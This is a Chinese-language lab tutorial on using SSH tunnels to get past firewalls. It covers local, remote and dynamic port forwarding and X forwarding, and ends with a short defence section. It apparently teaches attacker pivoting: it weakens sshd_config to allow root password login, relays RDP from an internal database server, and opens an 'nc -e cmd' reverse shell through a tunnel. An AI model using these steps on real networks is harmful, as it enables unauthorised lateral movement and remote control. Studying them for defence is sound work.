ssh隧道使用

在內網中幾乎全部的linux服務器和網絡設備都支持ssh協議。通常狀況下,ssh協議是容許經過防火牆和邊界設備的,因此常常被攻擊者利用。同時ssh協議的傳輸過程是加密的,因此咱們很難區分合法的ssh會話和攻擊者利用其餘網絡創建的隧道。攻擊者使用ssh端口隧道突破防火牆的限制後,可以創建一些以前沒法創建的TCP鏈接。
一個普通的ssh命令以下:
建立ssh隧道的經常使用參數以下:
-C:壓縮傳輸,提升傳輸速度
-f :將ssh傳輸轉入後臺執行,不佔用當前的shell。
-N:創建靜默鏈接(創建了鏈接,可是看不到具體的會話)
-g 容許遠程主機鏈接本地用於轉發的端口。
-L:本地端口轉發
-R:遠程端口轉發
-D:動態轉發(socks代理)
-P:指定ssh端口。
 
1.本地端口轉發
測試環境以下:
外部vps能夠訪問內網web服務器,可是不能訪問數據庫服務器,內網web服務器能夠和數據庫服務器互相訪問。
測試目標:以web服務器爲跳板,訪問數據庫服務器的3389端口。
修改ssh服務器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
 
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
ssh -fCNg -L 1153(vps端口):192.168.190.136(目標主機):3389(目標端口) root@192.168.174.133(跳板機)
ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22
netstat -anptl | grep 1153 查看本地1153端口,能夠看到1153端口已經開啓偵聽。
使用rdesktop鏈接vps的1153端口,能夠發現已經與數據服務器192.168.190.136的3389創建了鏈接
rdesktop 127.0.0.1:1153
ssh進程的本地端口映射能夠將本地(客戶機)的某個端口轉發到遠端指定機器的指定端口;本地端口轉發則是在本地(客戶機)監聽一個端口,全部訪問這個端口的數據都會經過ssh隧道傳輸到遠端的對應端口。
 
加密傳輸:
linux1 : 192.168.190.110
linux2: 192.168.190.133
win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux之間創建一條ssh隱祕隧道,使win2008將本身的shell經過ssh隧道反彈給win7。
在linux1上執行以下命令:
ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22
在win7上使用nc監聽本地333端口
nc -lvp 333
在win ser2008上使用nc鏈接linux1的7006端口
nc.exe 192.168.190.110 7006 -e cmd
回到win7上能夠看到已經得到了win2008的shell了。
 
2.遠程端口轉發
測試環境以下:
左側爲攻擊者vps(kali linux);右側是一個小型內網,包含三臺機器;內網沒有邊界設備,因此外部的vps不能訪問內網中的三臺機器;內網web服務器能夠訪問外網vps,數據庫服務器和域控服務器均不能訪問外網的vps。
測試目標:經過外網vps訪問數據庫服務器的3389端口。
以web服務器爲跳板,將vps的1521端口的流量轉發到數據庫服務器的3389端口,而後訪問vps的1521端口,就能夠訪問數據庫服務器192.168.190.136的3389端口了。
在web服務器上執行以下命令:
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 1521(vps端口):192.168.190.136(目標主機):3389 root@192.168.190.110
ssh -fCNg -R 1521:192.168.190.136:3389 root@192.168.190.110
netstat -anptl | grep 1521 查看遠程vps(192.168.190.110)發現已經開啓對1521端口的監聽
rdesktop 127.0.0.1:1521 訪問vps的1521端口,便可與數據庫服務器的3389端口創建鏈接。
總結:本地轉發是在本地監聽並將遠程主機某個端口的數據轉發到本地服務器的指定端口。遠程端口轉發則是在遠程主機上監聽一個端口,全部訪問遠程服務器指定端口的數據都會經過ssh隧道傳輸到本地的對應端口上。
 
3.動態轉發
測試環境以下:
在vps上執行以下命令,創建一個動態的socks代理通道
ssh fCNg -D 7000 root@192.168.174.133
查看本地7000端口的監聽是否已經啓動,能夠看到ssh正在監聽7000端口。
而後,在本地打開瀏覽器並設置網絡代理,經過瀏覽器訪問內網域控制器(192.168.190.132)。
 
總結:動態端口映射就是創建一個ssh加密的socks代理通道。任何支持socks4/5協議的程序均可以使用這個加密隧道進行代理訪問。
 
4.X協議轉發
1.遠程登錄 Linux GUI 運行圖形化界面工具,相似於VNC和X windows。
2.防火牆限制訪問時,能夠嘗試經過 SSH 的 X 轉發
ssh -X root@ 192.168.199.165 -p 53
 
X協議轉發測試
能夠使用遠程主機的圖像化工具
 
 5.ssh隧道防護
ssh隧道之因此能被攻擊者利用,主要是由於系統訪問控制措施不夠。在系統中配置ssh遠程管理白名單,在ACL中限制只有特定的ip地址才能鏈接ssh,以及設置系統徹底使用帶外管理等方法,均可以免這一問題。若是沒有足夠的資源來創建帶外管理的網絡結構,在內網中至少要限制ssh遠程登陸的地址和雙向訪問控制策略(從外部到內部、從內部到外部)。
相關文章
相關標籤/搜索